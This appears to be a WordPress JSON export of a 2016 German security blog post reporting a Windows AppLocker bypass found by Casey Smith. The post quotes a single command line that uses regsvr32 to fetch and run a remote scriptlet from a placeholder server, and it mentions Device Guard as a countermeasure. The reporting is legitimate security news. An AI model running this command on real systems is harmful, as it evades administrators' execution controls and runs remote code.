{"id":176850,"date":"2016-04-25T10:55:23","date_gmt":"2016-04-25T08:55:23","guid":{"rendered":"http:\/\/www.borncity.com\/blog\/?p=176850"},"modified":"2023-07-02T22:39:15","modified_gmt":"2023-07-02T20:39:15","slug":"windows-schwachstelle-hebelt-applocker-aus","status":"publish","type":"post","link":"https:\/\/borncity.com\/blog\/2016\/04\/25\/windows-schwachstelle-hebelt-applocker-aus\/","title":{"rendered":"Windows-Schwachstelle hebelt AppLocker aus"},"content":{"rendered":"

\"win7\"Eine Sicherheitsl\u00fccke in Windows l\u00e4sst sich ausnutzen, um von Administratoren gesetzte AppLocker-Ausf\u00fchrungsregeln f\u00fcr Anwendungen zu umgehen.<\/p>\n

<\/p>\n

In Windows 7 und Windows Server 2008 R2 wurde die Funktion AppLocker vorgestellt<\/a>. Unter Windows 7 ist diese nur in der Ultinate- und Enterprise-Variante nutzbar. Mit AppLocker k\u00f6nnen Administratoren Regeln festlegen<\/a>, um Benutzern das Installieren oder Nutzen von Software zu erlauben oder zu verbieten.<\/p>\n

Das Ganze ist aber nicht so ganz kollateralsch\u00e4denfrei. Bereits im Artikel Was sch\u00fctzt vor Locky und anderer Ransomware?<\/a> hatte ich auf den Hotfix KB2532445<\/a> (You can circumvent AppLocker rules by using an Office macro on a computer that is running Windows 7 or Windows Server 2008 R2) verwiesen, der eine L\u00fccke in Office abdecken soll.<\/p>\n

Jetzt ist Casey Smith aus Colorade per Zufall auf eine weitere Sicherheitsl\u00fccke in AppLocker gesto\u00dfen, die er in diesem Blog-Beitrag<\/a> dokumentiert hat. Mit einem einfachen Befehl:<\/p>\n

regsvr32 \/s \/n \/u \/i:http:\/\/server\/file.sct scrobj.dll<\/p>\n

gelang es ihm, AppLocker auszuhebeln. Offenbar ist regsvr32 <\/em><\/a>in den AppLocker-Anwendungsregeln in einer WhiteList enthalten.\u00a0Ob eine Blockade des Befehls zu Windows-Funktionseinbu\u00dfen f\u00fchrt, ist unklar. Bisher gibt es wohl keinen Patch, der die L\u00fccke abdichtet. Hier findet sich ein Tweet<\/a>, wo Device Guard als L\u00f6sung ausgef\u00fchrt wird. Eine ausf\u00fchrlichere Betrachtung des Themas findet sich in diesem Artikel<\/a> (englisch). (via<\/a>)<\/p>\n","protected":false},"excerpt":{"rendered":"

Eine Sicherheitsl\u00fccke in Windows l\u00e4sst sich ausnutzen, um von Administratoren gesetzte AppLocker-Ausf\u00fchrungsregeln f\u00fcr Anwendungen zu umgehen.<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[426],"tags":[4966,1782,4325],"class_list":["post-176850","post","type-post","status-publish","format-standard","hentry","category-sicherheit","tag-applocker","tag-sicherheitslucke","tag-windows"],"_links":{"self":[{"href":"https:\/\/borncity.com\/blog\/wp-json\/wp\/v2\/posts\/176850","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/borncity.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/borncity.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/borncity.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/borncity.com\/blog\/wp-json\/wp\/v2\/comments?post=176850"}],"version-history":[{"count":0,"href":"https:\/\/borncity.com\/blog\/wp-json\/wp\/v2\/posts\/176850\/revisions"}],"wp:attachment":[{"href":"https:\/\/borncity.com\/blog\/wp-json\/wp\/v2\/media?parent=176850"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/borncity.com\/blog\/wp-json\/wp\/v2\/categories?post=176850"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/borncity.com\/blog\/wp-json\/wp\/v2\/tags?post=176850"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}